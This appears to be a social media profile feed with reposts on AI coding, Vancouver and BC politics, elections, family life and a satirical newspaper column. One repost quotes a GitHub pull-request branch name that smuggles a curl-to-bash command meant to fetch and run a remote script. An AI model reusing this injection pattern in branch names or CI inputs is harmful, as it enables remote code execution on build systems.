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Cole Maclean

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stellz @piss.beauty · 23/07/2026
"make no mistakes" negative, unrealistic, anxiety inducing, process focused "do a breakthrough" positive, incredible, aspirational, goal oriented
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Cole Maclean @colemaclean.dev · 27/06/2026
[programming in 2026] ah, another busy day in the slop mine. found a seam of useful code and hauled it out. ochre jellys everywhere again
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Daniel Jalkut @danielpunkass.punkitup.com · 26/05/2026
My take on AI is, essentially, everybody who’s against is too against it and everybody who’s for it is too for it.
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Eris ⌬ @eriskii.net · 30/04/2026
OpenAI has addressed the goblin situation
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Where the goblins came from
How goblin outputs spread in AI models: timeline, root cause, and fixes behind personality-driven quirks in GPT-5 behavior.
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Maggie Appleton @maggieappleton.com · 23/01/2026
I have Gas Town derangement syndrome and spent the last few weeks writing thousands of words on agent orchestration patterns; how they shift our bottlenecks and force us to ask whether and when we should stop looking at code maggieappleton.com/gastown
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Gas Town’s Agent Patterns, Design Bottlenecks, and Vibecoding at Scale
On agent orchestration patterns, why design and critical thinking are the new bottlenecks, and whether we should let go of looking at code
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Gretchen McCulloch @gretchenmcculloch.com · 31/12/2025
Just texted a friend "can you remind me when you're around tomorrow/overmorrow" and I just think if a few of us really gave it a try suuuper casually we could bring back this word for day after tomorrow next year
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Anthony Floyd @anthonyfloyd.ca · 24/11/2025
More bad news for Rad Bikes. Read the CPSC warning carefully if you own a Rad
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Kate Compton @galaxykate.bsky.social · 16/11/2025
Doctor says, 'Dont worry, parser design is simple. Great programmer Kate Compton has written the parser you seek’
Conversation with Claude about tracery parsers, and it advises me to look at kate comptons parser, to which i reply “but Doctor i am kate compton”
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Eric Wastl @was.tl · 22/10/2025
Hello, friends! After 10(!) years of #AdventOfCode, I've made some changes to preserve my sanity: there will be 12 days of puzzles each December (still starting Dec 1) and there is no longer a global leaderboard. Read more: adventofcode.com/2025/about#f... adventofcode.com/2025/about#f...
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isabella zavarise @isabellazavarise.bsky.social · 18/08/2025
Just got to the Learning Bitcoin conference. The current panelist is talking about why there’s a drop in testosterone. The panel is called Decentralized Health and Wellness.
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Cole Maclean @colemaclean.dev · 04/07/2025
excellent news for Olympic Village!
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Cole Maclean @colemaclean.dev · 24/05/2025
There was definitely some overzealous moderation going on as well, and I also remember the no recourse part was especially annoying, it really felt like you we just being shut down.
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Cole Maclean @colemaclean.dev · 24/05/2025
My recollection of using the site in the 2014+ phase really matches this, with a lot of user frustration due to questions being closed as duplicates by mods. Because they were duplicates! The huge growth in the first few years resulted in most questions already having been asked.
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Jens von Bergmann @jensvb.bsky.social · 30/04/2025
With CBC now having called all ridings it's time for the land-vs-people-vote animation.
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Karly Kingsley @karlykingsley.bsky.social · 15/02/2025
Correct. If the birthdate field contains corrupt or mismatched data, it defaults to 1875-05-20, which serves as a flag. May 20, 1875, is the day the international standards and metrics treaty was signed. Everything is a conspiracy when you don’t know how anything works.
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Cole Maclean @colemaclean.dev · 14/02/2025
This random web form hides phone number and email (so that no one can see you typing them?) and then shows you a modal on submission with them fully visible. Amazing stuff
Web form with mobile and email fields hidden using the password field type
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Cole Maclean @colemaclean.dev · 09/01/2025
Cyclist please :)
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👻 Dead Chachra 💀 @debcha.bsky.social · 09/01/2025
Occasional reminder that there’s no, “it’s too late, its over” for anthropogenic climate change. Every molecule of CO2 that doesn’t go into the atmosphere makes a difference. Preventing 0.1 degree of warming makes a difference. Every bit of climate resilience we build together makes a difference.
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Chris Hayes @chrislhayes.bsky.social · 04/01/2025
This is a must-read and is also the first comprehensive post mortem I’ve read working off the vote cast data (which is the real deal) as opposed to the dubious exit polling.
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Simon Willison @simonwillison.net · 02/01/2025
Huh oh. As a committed anti-conspiracy-theorist for the "phones listen to your microphone and targeted ads based on what you say" thing I can tell this is going to be exhausting
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Cole Maclean @colemaclean.dev · 03/01/2025
also the replies on this 😔 bsky.app/profile/greg...
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eevee @eev.ee · 01/01/2025
finally. Finally the year is a square. the only one in my lifetime. and it's the square of the ninth triangular number no less. truly this shall be a glorious year for sudoku
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Cole Maclean @colemaclean.dev · 27/12/2024
lol
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Cole Maclean @colemaclean.dev · 27/12/2024
the six year old went straight from xmas to birthday party planning. giant meltdown this morning over the details on the invite
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Ken Klippenstein @kenklippenstein.bsky.social · 26/12/2024
IQ tests are astrology for racists
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Cole Maclean @colemaclean.dev · 25/12/2024
🎄🎅 sleepy xmas day here
a black and grey dog asleep on a blanket with a santa hat on
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Cole Maclean @colemaclean.dev · 14/12/2024
100%. Still sounds terrifying, hoping for a quick recovery
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Stewart Prest @stewartprest.ca · 08/12/2024
First I had heard of this issue, but this is such a bad idea. It sounds like satire, but isn't, to take a school's basketball court and turn it into residential and commercial real estate. www.cbc.ca/news/canada/...
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Vancouver developer pays $8.5M for 99-year lease of school property | CBC News
A majority of the board voted on Wednesday to pass bylaws to kickstart the disposal process of 1.6 hectares of "surplus" land just south of Sir Sandford Elementary School, that will be leased to Vittori Developments, a private company.
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Harrison Mooney @harrisonmooney.bsky.social · 06/12/2024
The Gastown steam clock now plays Shake it Off. In fact, all public art in Vancouver has been replaced with effigies of Taylor Swift, traffic lights now go from Ivy to Red (Taylor's Version), and a new road has been paved to New Westminster, running diagonally for some reason, called Swiftsway
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Matt Keeter @mattkeeter.com · 06/12/2024
absolutely incredible attack vector
Picture of a Github PR with text reading

openimbot wants to merge 0 commits into ultralytics:main from openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)
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Seven Machina Rasmussen @toomanyspectra.bsky.social · 30/11/2024
can I code fast? no. but can I code well? also no. but does my code work? alas, no
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Cole Maclean @colemaclean.dev · 28/11/2024
Did you catch who voted for/against? Also thank you for documenting 🫡
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Steve Klabnik @steveklabnik.com · 22/11/2024
I’m not a power lifter but I can say lifting heavy things has truly helped my brain I wish I understood earlier in life that lifting is nerd coded, not jock coded
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Cole Maclean @colemaclean.dev · 21/11/2024
yeah boldness is in short supply
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Cole Maclean @colemaclean.dev · 21/11/2024
Really reminds me of the BC payments the Horgan government sent through ICBC, that went only to drivers. Terrible use of funds.
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Forrest Brazeal @forrestbrazeal.bsky.social · 16/11/2024
10x more excited for Netflix Engineering’s postmortem writeup than I was for the fight itself.
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Cole Maclean @colemaclean.dev · 16/11/2024
HTTP 503 "envoy overloaded" from Netflix as soon as Tyson walks out
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Cole Maclean @colemaclean.dev · 10/11/2024
These cookies are incredible: docs.google.com/document/d/1... (not my recipe, from Dave Shea on mastodon)
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Double chocolate chip cookies
Double chocolate chip cookies This base cookie can be modified with extra ingredients that pair well with chocolate to great effect. I’ve done dozens of batches over the years with add-ons like tonka ...
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Randall Munroe @xkcd.com · 03/11/2024
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Andrew Kurjata @akurjata.ca · 29/10/2024
B.C. election count is DONE. NDP majority with 47 seats. Will need to work with Greens or someone from Conservatives in order to pass legislation while putting up a speaker. Judicial recounts in 2 ridings www.cbc.ca/news/canada/... #bcpoli
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B.C. NDP hangs on to power, will form next government CBC projects | CBC News
The British Columbia NDP appears to have fended off the Conservative surge by a razor thin margin and will form the next provincial government, CBC News projects.
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Alexandra Petri @petridishes.bsky.social · 26/10/2024
I guess it has fallen to me, the humor columnist, to endorse Harris for president wapo.st/3UqHWRM
The Washington Post is not bothering to endorse a candidate in the 2024 presidential election. (Jeff Bezos, the founder of Blue Origin and the founder and executive chairman of Amazon and Amazon Web Services, also owns The Post.)
We as a newspaper suddenly remembered, less than two weeks before the election, that we had a robust tradition 50 years ago of not telling anyone what to do with their vote for president. It is time we got back to those “roots,” I’m told!
Roots are important, of course. As recently as the 1970s, The Post did not endorse a candidate for president. As recently as centuries ago, there was no Post and the country had a king! Go even further back, and the entire continent of North America was totally uninhabitable, and we were all spineless creatures who lived in the ocean, and certainly there were no Post subscribers.But if I were the paper, I would be a little embarrassed that it has fallen to me, the humor columnist, to make our presidential endorsement. I will spare you the suspense: I am endorsing Kamala Harris for president, because I like elections and want to keep having them.
Let me tell you something. I am having a baby (It’s a boy!), and he is expected on Jan. 6, 2025 (It’s a … Proud Boy?). This is either slightly funny or not at all funny. This whole election, I have been lurching around, increasingly heavily pregnant, nauseated, unwieldy, full of the commingled hopes and terrors that come every time you are on the verge of introducing a new person to the world.
Well, that world will look very different, depending on the outcome of November’s election, and I care which world my kid gets born into. I also live here myself. And I happen to care about the people who are already here, in this world. Come to think of it, I have a lot of reasons for caring how the election goes. I think it should be obvious that this is not an election for sitting out.The case for Donald Trump is “I erroneously think the economy used to be better? I know that he has made many ominous-sounding threats about mass deportations, going after his political enemies, shutting down the speech of those who disagree with him (especially media outlets), and that he wants to make things worse for almost every category of person — people with wombs, immigrants, transgender people, journalists, protesters, people of color — but … maybe he’ll forget.”
“But maybe he’ll forget” is not enough to hang a country on!
Embarrassingly enough, I like this country. But everything good about it has been the product of centuries of people who had no reason to hope for better but chose to believe that better things were possible, clawing their way uphill — protesting, marching, voting, and, yes, doing the work of journalism — to build this fragile thing called democracy. But to be fragile is not the same as to be perishable, as G.K. Chesterton wrote. Simply do not break a glass, and it will last a thousand years. Smash it, and it will not last an instant. Democracy is like that: fragile, but only if you shatter it.Trust is like that, too, as newspapers know.
I’m just a humor columnist. I only know what’s happening because our actual journalists are out there reporting, knowing that their editors have their backs, that there’s no one too powerful to report on, that we would never pull a punch out of fear. That’s what our readers deserve and expect: that we are saying what we really think, reporting what we really see; that if we think Trump should not return to the White House and Harris would make a fine president, we’re going to be able to say so.

That’s why I, the humor columnist, am endorsing Kamala Harris by myself!
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Cole Maclean @colemaclean.dev · 21/10/2024
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Cole Maclean @colemaclean.dev · 17/10/2024
Calling it: this is our twitter replacement, folks. Skeets are the new tweets
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My Password is Louvre @bmceuen.bsky.social · 03/10/2024
The best time to get rid of your 23&Me DNA data is to have never given it to them in the first place. The second best time is now.
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P(aul) Frazee @pfrazee.com · 31/08/2024
a graph showing "the peak I posted yesterday" vs "right now"

right now is about 3-4x higher
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The Onion @theonion.com · 23/08/2024
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DNC Attendees Set Massive Wooden Donkey Ablaze To Ensure 4 More Years Of Liberal Rule
CHICAGO—Circling around the 100-foot-tall ceremonial mascot as the sharp beat of drums echoed, attendees of the Democratic National Convention reportedly set a massive wooden donkey ablaze outside the...
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Tabatha Southey🇨🇦 @tabathasouthey.bsky.social · 18/08/2024
For @foreignpolicy.com, I wrote about Alice Munro—our public and private responses. It turns out my feelings are not all that complicated. It’s wrong to shelter a pedophile, even if you don’t drive and he has a mighty convenient van. Gift link! foreignpolicy.com/2024/08/18/a...
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How Canada Lost Our Munro
Canadians felt the literary giant belonged to us—but it turns out we never knew her.
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an appliance is making a weird noise that isn't on youtube @jesseltaylor.bsky.social · 18/11/2023
1923: The world's richest man is an antisemite. The hot new music on the street is experimental jazz flute. 2023: The world's richest man is an antisemite. The hot new music on the street is experimental jazz flute.
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